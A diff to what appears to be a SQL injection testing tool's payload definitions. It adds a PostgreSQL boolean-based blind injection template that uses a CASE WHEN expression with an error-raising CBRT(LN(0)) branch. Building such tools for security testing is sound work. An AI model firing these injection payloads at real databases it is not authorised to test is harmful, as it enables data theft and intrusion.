diff --git a/xml/payloads.xml b/xml/payloads.xml
index b04d80c5e..7b75dceea 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -687,6 +687,25 @@ Formats:
         </details>
     </test>
 
+    <test>
+        <title>PostgreSQL boolean-based blind - Parameter replace (CBRT(LN(0)) - original value)</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CBRT(LN(0)) END)</vector>
+        <request>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CBRT(LN(0)) END)</payload>
+        </request>
+        <response>
+            <comparison>(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CBRT(LN(0)) END)</comparison>
+        </response>
+        <details>
+            <dbms>PostgreSQL</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>
         <stype>1</stype>